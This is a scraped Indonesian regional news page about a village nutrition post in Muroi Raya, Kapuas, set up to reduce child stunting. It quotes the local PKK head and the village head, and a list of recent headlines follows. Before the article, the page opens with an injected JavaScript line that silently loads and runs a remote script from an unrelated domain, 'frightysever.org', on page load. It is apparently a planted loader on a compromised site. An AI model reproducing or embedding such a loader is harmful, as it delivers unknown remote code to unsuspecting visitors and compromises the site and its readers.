(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Tekan Stunting, Desa Muroi Raya Bikin Pos Gizi


KANALKALIMANTAN. COM, KUALA KAPUAS
Upaya Pemerintah Desa Muroi Raya dan Tim Penggerak PKK desa Muroi Raya menurunkan angka stunting melibatkan masyarakat dengan pemahaman dan pencegahan stunting bagi balita, remaja putri (calon ibu) dan juga ibu hamil. Lewat pos gizi di desa Muroi Raya warga diberi pemahaman agar anak-anak bisa tumbuh menjadi generasi sehat, tinggi dan cerdas.

Ketua TP PKK Desa Muroi Raya Hj Betsi mengatakan, inovasi positif pos gizi ini dilakukan sebagai upaya menekan angka stunting di desa.

“Stunting kan kekurangan gizi kronis ya, masa untuk memperbaiki ada di anak usia 2 tahun. Masih bisa sampai 5 tahun tapi sulit, hanya sedikit (15 persen). Jadi, jangan nunggu anak telanjur stunting. Terlambat itu,” kata Hj Betsi di hadapan warga desa yang rata-rata para ibu, Selasa (4/8/2020).

“Tujuan kami melaksanakan imbauan ini bukan semata-mata untuk pemerintah, tapi mengubah mindset masyarakat. Kegiatan ini kami laksanakan pada awal setiap tahun,” terang Ketua TP PKK Muroi Raya.

Di dalam kegiatan pos gizi, hal pertama yang dilakukan ialah pendataan sasaran melalui pengukuran di Posyandu oleh kader dan divalidasi oleh petugas kesehatan. Bila ditemukan penyakit penyerta, maka dilakukan perawatan terlebih dahulu sampai pulih, baru diikutsertakan dalam pos gizi.

Hasil pendataan ini disampaikan pada musyawarah masyarakat desa yang dipimpin oleh kepala desa, untuk menentukan tempat dan waktu pelaksanaan pos gizi. Peserta pos gizi bayi (6-11 bulan) dan balita (12-59 bulan) beserta ibunya, akan dikumpulkan di pos gizi untuk dipantau penambahan berat badannya.

Kepala Desa Muroi Raya, H Ripansyah mengatakan, di pos gizi ini ibu diajarkan personal hygiene, melakukan permainan, serta diajari kader memasak makanan berat menggunakan bahan pangan lokal. Selain itu, para peserta juga harus datang tepat waktu dan tidak boleh membawa snack, susu dan uang jajan. (kanalkalimantan.com/ags)

Reporter : Ags
Editor : Bie


Desy Arfianty

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.